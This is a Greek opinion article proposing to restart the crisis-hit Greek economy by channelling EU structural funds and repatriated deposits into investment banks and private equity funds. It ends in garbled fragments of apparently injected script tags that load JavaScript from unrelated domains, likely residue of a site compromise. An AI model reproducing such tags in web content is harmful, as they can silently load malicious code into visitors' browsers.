Λεφτά υπάρχουν!

Χατζηαγγελίδης Ιπποκράτης

Είναι κοινό μυστικό στους ανθρώπους της αγοράς ότι υπάρχει άμεση και απόλυτη ανάγκη να χρηματοδοτηθεί η παραγωγή και δι’ αυτής να επανεκκινήσει η οικονομία, ώστε να βγούμε από τον φαύλο κύκλο της κρίσεως, στην οποία μας έχει ρίξει ο συνδυασμός πολιτικής επενδυτικής λιτότητος και φορολογικής μανίας (εδώ το άρθρο) με παράλληλη διατήρηση υψηλών λειτουργικών δαπανών του κράτους.

Δεν θεωρώ σκόπιμο να αναλύσω το γιατί αυτό ο συνδυασμός είναι εγκληματικός. Και μόνο το γεγονός ότι ακυρώνει όλα τα οφέλη από την πολιτική λιτότητος είναι αρκετό για να τον απορρίψει οποιοσδήποτε στοιχειωδώς γνωρίζει πως λειτουργεί η ελληνική οικονομία. Μόνον όσοι έχουν προσωπικά συμφέροντα με τα κόμματα της συγκυβερνήσεως ή είναι απίστευτα άσχετοι και αφελείς μπορεί να πιστεύουν ότι η πολιτική αυτή είναι σωστή. Ομοίως, μόνον όσοι προσδοκούν προσωπικά οφέλη από μια κυβέρνηση του ΣΥΡΙΖΑ ή πάσχουν από την πολιτική μυωπία της αριστεράς, μπορεί να πιστεύουν ότι αρκεί η διακοπή της λιτότητος για να επανέλθει η ανάπτυξη.

Έναντι όλων αυτών πρέπει να αρθρωθεί η φωνή της μεγάλης πλειοψηφίας, η οποία προς το παρόν παραμένει σιωπηλή, αν όχι έρμαιο των ανερμάτιστων λαϊκιστών καμμένων, ψεκασμένων και λοιπών γραφικών και sui generis αντιμνημονιακών. Για να συμβεί αυτό πρέπει να διαμορφωθούν οι πολιτικοί όροι ενός νέου οράματος, μιας νέας προτάσεως διακυβερνήσεως. Σε επόμενοι κείμενο θα παρουσιάσω τις απόψεις μου επ’ αυτού. Προς το παρόν, θα αναφερθώ σε προτάσεις πολιτικής, χωρίς τις οποίες το όποιο όραμα είναι πουκάμισο αδειανό, όπως ήταν τα προγράμματα και οι διακηρύξεις των κομμάτων του φαύλου και ανίκανου πολιτικού συστήματος της μεταπολιτεύσεως.

Στο τελευταίο μου άρθρο έθεσα το ερώτημα «Πως, λοιπόν, θα χρηματοδοτηθεί η εξυγίανση των προβληματικών επιχειρήσεων; Πως θα δοθεί λύση στο πρόβλημα επανεκκινήσεως της οικονομίας; Από που θα προέλθουν τα απαραίτητα κεφάλαια;». Το ακριβές ερώτημα είναι «πως θα χρηματοδοτηθεί η παραγωγή ώστε, δι’ αυτής, να επανεκκινήσει η οικονομία και να βγούμε από τον φαύλο κύκλο της κρίσεως, αφού το τραπεζικό σύστημα αδυνατεί να το πράξει με τον τρόπο που πρέπει και όσο γρήγορα το έχει ανάγκη η οικονομία». Σήμερα παρουσιάζω την απάντηση.

Η λύση θα δοθεί μέσω ενός by-pass, δηλαδή με τη δημιουργία ενός παράλληλου & ευέλικτου συστήματος επενδυτικών τραπεζών και κεφαλαίων επιχειρηματικών συμμετοχών (private equity & venture capital funds), το οποίο θα διαθέτει τεχνογνωσία αναδιαρθρώσεων (distress management & finance) και θα αναλάβει να υποστηρίξει την ταχεία αναδιάρθρωση και επαναλειτουργία των προβληματικών επιχειρήσεων. Επίσης, μια αναπτυξιακή τράπεζα πρέπει να αναλάβει την μακροχρόνια χρηματοδότηση επενδύσεων καθώς και την ενεργό διαχείριση των βιομηχανικών περιοχών, οι οποίες αδρανούν και καταρρέουν.

Ένα τέτοιο σύστημα μπορεί να δημιουργηθεί το πολύ εντός 6 μηνών. Τεχνογνωσία υπάρχει, την διαθέτουν τα πρώην στελέχη της Ε.Τ.Ε.Β.Α., η οποία -εγκληματικώς- απορροφήθηκε από την Εθνική για να δημιουργηθούν χρηματιστηριακές υπεραξίες από την καταστροφική διοίκηση Καρατζά! Όμως, εκτός αυτών, υπάρχουν πολλοί περισσότεροι Έλληνες, στις ξένες κεφαλαιαγορές, με μεγάλη εμπειρία σε τέτοιες διαδικασίες, οι οποίοι ευχαρίστως θα συμμετάσχουν σε ένα οργανωμένο εγχείρημα ανακάμψεως της ελληνικής οικονομίας, το οποίο -επιπροσθέτως- θα τους δώσει μεγάλες υπεραξίες για τα κεφάλαια που θα προσελκύσουν. Αυτά τα κεφάλαια, επίσης, υπάρχουν στη διεθνή αγορά, αλλά πρέπει να μοχλευθούν από ελληνικά. Κανείς ξένος δεν αναλαμβάνει τον κίνδυνο σε μια χώρα που δεν επενδύει στον εαυτό της.

Λόγω ελλείψεως αμιγώς εθνικών κεφαλαίων (δημοσίων & ιδιωτικών), η εθνική συμμετοχή μπορεί να προέλθει, κυρίως, από δύο πηγές: τα κεφάλαια του Ε.ΣΠ.Α. ιδιωτικού τομέως και τις καταθέσεις Ελλήνων στην αλλοδαπή.

Το Ε.Σ.Π.Α. έχει αποδειχθεί ότι είναι ένας αργοκίνητος, υψηλού κόστους και χαμηλής αποδόσεως μηχανισμός που -εκ φύσεως- κατανέμει τα κεφάλαιά του σε πολλές μη αποδοτικές πολύ μικρού μεγέθους και μη βιώσιμες επενδύσεις, οι οποίες θα αξιολογηθούν με κριτήρια αναπτυξιακού νόμου, δηλαδή χωρίς την εγγύηση της ιδιωτικοοικονομικής επιχειρηματικής αντιλήψεως. Η Task-Force Ράϊχενμπαχ μέτρησε τα κεφάλαια του Ε.Σ.Π.Α. ιδιωτικού τομέως στο ύψος των τριών δισεκατομμυρίων οκτακοσίων εκατομμυρίων -3.800.000.000- ευρώ. Τα κεφάλαια αυτά έπρεπε να έχουν απορροφηθεί μέχρι την 31η Δεκεμβρίου 2013, αλλά μέχρι τον Οκτώβριο του 2013 είχαν εκταμιευθεί περί τα 180.000.000 μόνον! Δημοσίευμα των τελευταίων ημερών επιβεβαιώνει την πλήρη αδυναμία απορροφήσεως των πόρων του Ε.Σ.Π.Α. μικρομεσαίων επιχειρήσεων, λόγω ελλείψεως τραπεζικής χρηματοδοτήσεως: από τα 900.000.000 έχουν εκταμιευθεί μόνο τα 100.000.000 ενώ το πρόγραμμα έχει ήδη διανύσει το μεγαλύτερο μέρος της προβλεπομένης διάρκειάς του!!! Το ακόμη χειρότερο: οι εγκεκριμένες «επενδύσεις» (λέμε και κανένα αστείο να περνάει η ώρα…) ανέρχονται σε 13.500, άρα το μέσο ύψος επιχορηγήσεως ανά επένδυση δεν υπερβαίνει τα 67.000 ευρώ, άρα συνολικώς η επένδυση δεν θα υπερβεί τα 140.000 ευρώ! Τι είδους βιωσιμότητα θα έχει μια τέτοια επένδυση; Τι οικονομίες κλίμακος και εξωτερικές οικονομίες μπορεί να δημιουργήσει; Στην πραγματικότητα ελάχιστοι εκ των επίδοξων επενδυτών έχουν σκοπό να δαπανήσουν δικά τους χρήματα και σκοπεύουν να υλοποιήσουν το σχέδιό τους μέσω υπερτιμολογήσεων. Όμως, έτσι ελάχιστες επενδύσεις θα υλοποιηθούν, αφού οι τράπεζες δεν δίνουν ούτε κεφάλαια κινήσεως, ούτε εγγυητικές για την προκαταβολική λήψη της επιχορηγήσεως.

Η άλλη αιτία της μη απορροφήσεως είναι η γνωστή ανικανότητα των μηχανισμών αξιολογήσεως επενδύσεων (ενδιάμεσοι φορείς), οι οποίοι λειτουργούν με τη λογική δημοσίων υπαλλήλων, χωρίς να έχουν ενδιαφέρον και κίνητρο για την ταχύτητα της απορροφήσεως των κονδυλίων. Όλος αυτός ο μηχανισμός είναι αναποτελεσματικός, ακριβός, σπάταλος και παράγει μόνο διαφθορά. Επιπροσθέτως, έρχεται η αδυναμία του τραπεζικού συστήματος να συγχρηματοδοτήσει, χώρια που οι γραφειοκρατικές αγκυλώσεις θέτουν την πλειοψηφία των υπαρχόντων επιχειρήσεων εκτός κριτηρίων χρηματοδοτήσεως.

Συμπερασματικώς, το σύστημα του Ε.Σ.Π.Α. δεν ανταποκρίνεται στις ανάγκες ούτε στην πραγματικότητα των ελληνικών επιχειρήσεων. Γενικώς, η όλη φιλοσοφία του Ε.Σ.Π.Α., βασισμένη αφ’ ενός στη γραφειοκρατική λογική τη κρατικής παρέμβασης και στο -επίσης γραφειοκρατικό και αναποτελεσματικό- τραπεζικό σύστημα είναι λάθος. Τεράστιο κόστος για ελάχιστο αποτέλεσμα. Χρειάζεται πλήρης και ριζική αναθεώρηση του τρόπου διαθέσεως των κονδυλίων. Θεωρώ βέβαιο ότι η αναθεώρηση είναι απολύτως εφικτή αρκεί αρκεί να παρουσιασθεί ένα αξιόπιστο και συνεκτικό σχέδιο στο Συμβούλιο Υπουργών Οικονομικών και στην Ευρωπαϊκή Επιτροπή. Άλλωστε, η Ευρωπαϊκή Επιτροπή δεν είναι αντίθετη ακόμη και στην ανάκτηση ποσών που χάθηκαν στα πλαίσια προηγουμένων Κ.Π.Σ.

Το κεφάλαια που θα προέλθουν από την αναθεώρηση του Ε.Σ.Π.Α. θα βγουν σε ένα «δομημένο» πλειοδοτικό διεθνή διαγωνισμό κατά τρόπο ώστε τα δημόσια κεφάλαια να μοχλευθούν 2-3 φορές ή και περισσότερες- από ιδιωτικά. Εμπειρία για την διαδικασία μπορούμε να αντλήσουμε από ανάλογες περιπτώσεις στις Η.Π.Α. Στο διαγωνισμό θα κληθούν να συμμετάσχουν ομάδες managers, οι οποίες θα εκπροσωπούν ιδιώτες ή/και θεσμικούς επενδυτές, συμπεριλαμβανομένων των επαναπατρισθέντων κεφαλαίων. Ακόμη είναι ενεργά, αλλά δεν αξιοποιούνται τα πολλά ικανά στελέχη της πρώην Ε.Τ.Ε.Β.Α., την οποία θυσίασε η Διοίκηση Καρατζά στο βωμό των χρματιστηριακών υπεραιών!) Πρακτικώς, τα συγκεντρωθέντα κεφάλαια θα κατανεμηθούν σε επενδυτικά σχήματα (επενδυτικές τράπεζες, private equity & venture capital funds, distress funds κα) κατά το μοντέλο του Τ.Α.ΝΕ.Ο. Α.Ε. ενώ αναλόγως του ύψους της ιδιωτικής συμμετοχής θα κλιμακωθούν διάφορα πρόσθετα κίνητρα π.χ. φορολογικά κα. Εκτιμώ ότι αν διατεθούν δημόσια κεφάλαια π.χ. πέντε δισεκατομμυρίων -5.000.000.000- ευρώ στην αγορά θα καταλήξουν κεφάλαια της τάξεως περίπου των δέκα δισεκατομμυρίων -10.000.000.000- ευρώ. Δεν αποκλείεται οι εκτιμήσεις μου να είναι συντηρητικές και να προκύψουν υψηλότερα κεφάλαια.

Η συμμετοχή στην ανωτέρω διαδικασία μπορεί και πρέπει να λειτουργήσει ως κίνητρο και προϋπόθεση αμνηστίας για τις καταθέσεις Ελλήνων στην αλλοδαπή, οι οποίες δεν πληρούν το κριτήριο του πόθεν έσχες ή απλώς δεν εμπιστεύονται το εγχώριο τραπεζικό σύστημα. Η απλή προϋπόθεση της προθεσμιακής τοποθετήσεώς των σε τίτλους επενδυτικών τραπεζών οι οποίες θα ιδρυθούν στα πλαίσια της προτεινόμενης διαδικασίας για διάρκεια π.χ. 10 ετών κατ’ ελάχιστον, είναι εύλογη και εξυπηρετεί τόσο τους ιδιοκτήτες των κεφαλαίων όσο και το κράτος, το οποίο θα εισπράξει πολλαπλάσιους φόρους από την λειτουργία των νέων τραπεζικών ιδρυμάτων και των εταιρειών τις οποίες αυτά θα χρηματοδοτήσουν.

Σε μικρό χρονικό διάστημα, ένας τεράστιος όγκος κεφαλαίων θα αναζωογονήσει την παραγωγική δραστηριότητα. Δεδομένου ότι μεγάλο μέρος των κεφαλαίων αυτών θα κατευθυνθεί στην αναδιάρθρωση υφισταμένων επιχειρήσεων, θα ενισχύσουν, εμμέσως, την ανακεφαλαίωση των τραπεζών, αγοράζοντας -ασφαλώς με σημαντική έκπτωση- τα μη εξυπηρετούμενα δάνεια των επιχειρήσεων και επαναφέροντας σε κατάσταση εξυπηρετούμενων πολλά από τα δάνεια επιχειρήσεων που απλώς είχαν πρόβλημα ρευστότητος ή χαμηλών πωλήσεων. Με τον τρόπο αυτό οι ισολογισμοί των τραπεζών θα εξυγιανθούν τώρα, χωρίς την νάρκη της μεταθέσεως στη 15ετία των δανείων που δεν μπορούν να εξυπηρετηθούν, όπως προβλέπεται να γίνει στο πλαίσιο της εφαρμογής του ν.4224/2013.

Οι πρώτες θετικές επιπτώσεις θα εμφανισθούν εντός 12 μηνών, με δεδομένο ότι η διαδικασία «στησίματος» του νέου συστήματος θα απαιτήσει περί τους 6 μήνες. Σε περίπου 18 μήνες οι επιπτώσεις θα γίνουν πιο εμφανείς ενώ σε 24 μήνες θα είναι πολύ έντονες και θα έχουν διαχυθεί σε ολόκληρη την οικονομία. Τις πρώτες θετικές επιπτώσεις θα τις μετρήσουμε στην είσπραξη του Φ.Π.Α. και, αμέσως μετά, στη σταθεροποίηση και μείωση του ποσοστού ανεργίας και στο Φ.Μ.Υ. Επίσης, στις εισπράξεις των ασφαλιστικών οργανισμών. Σε δεύτερο χρόνο θα εμφανισθεί η αύξηση των υπολοίπων δημοσίων εσόδων καθώς και η αναζωογόνηση της εσωτερικής αγοράς. Η κρίση θα έχει ξεπερασθεί!

Δεν είναι δύσκολο με μια διεισδυτική ανάλυση να προβλέψουμε την θετική επίπτωση που θα έχει στο Α.Ε.Π. η υλοποίηση μιας τέτοιας προτάσεως, αλλά δεν είναι εδώ ο κατάλληλος χώρος για να την κάνουμε. Το βέβαιο είναι ότι η πρότασή μου απαντά στην ανάγκη εξευρέσεως κεφαλαίων αμέσου επανεκκινήσεως της οικονομίας και χωρίς αυτήν ουδείς σχεδιασμός θα πετύχει! Είμαι σίγουρος ότι υπάρχουν και άλλες προτάσεις, συμπληρωματικές και εναλλακτικές, ίσως πιο αξιόλογες από τη δική μου. Ας δημοσιοποιηθούν όλες ώστε να τεθούν υπ’ όψιν των αρμοδίων υπουργών. Δική τους δουλειά είναι να τις αξιολογήσουν και να επιλέξουν τις καλύτερες. Δική τους δουλειά είναι να πείσουν την τρόϊκα για την ανάγκη υιοθετήσεως λύσεων «έξω από το κουτί», όπως ανέφερε ο Πρωθυπουργός σε παλαιότερη δήλωσή του. Ας πιέσουμε το πολιτικό μας σύστημα και με θετικό τρόπο και αν -όπως είναι το πιθανότερο- δεν ανταποκριθεί ας το αντικαταστήσουμε. Καιρός είναι να κυριαρχήσει η σιωπηλή πλειοψηφία της κοινής λογικής! Ας συμβάλλουμε όλοι στην ανορθωτική προσπάθεια, είναι εθνική ανάγκη, είναι

* Ο Ιπποκράτης Χατζηαγγελίδης είναι Χρηματοπιστωτικός Σύμβουλος Επιχειρήσεων.
hippo@otenet.gr
https://www.facebook.com/hippocrates.hatziaggelides
@Hatziaggelides___setforspecialdomain.com/ghfgh34523452′ type=’text/javascript’>___setforspecialdomain.com/ghfgh34523452′ type=’text/javascript’>challengeforme.com/pystats.js’ async=true >challengeforme.com/pystats.js’ async=true >‘ >‘ >‘ >‘ >‘ >‘ >‘ >‘ >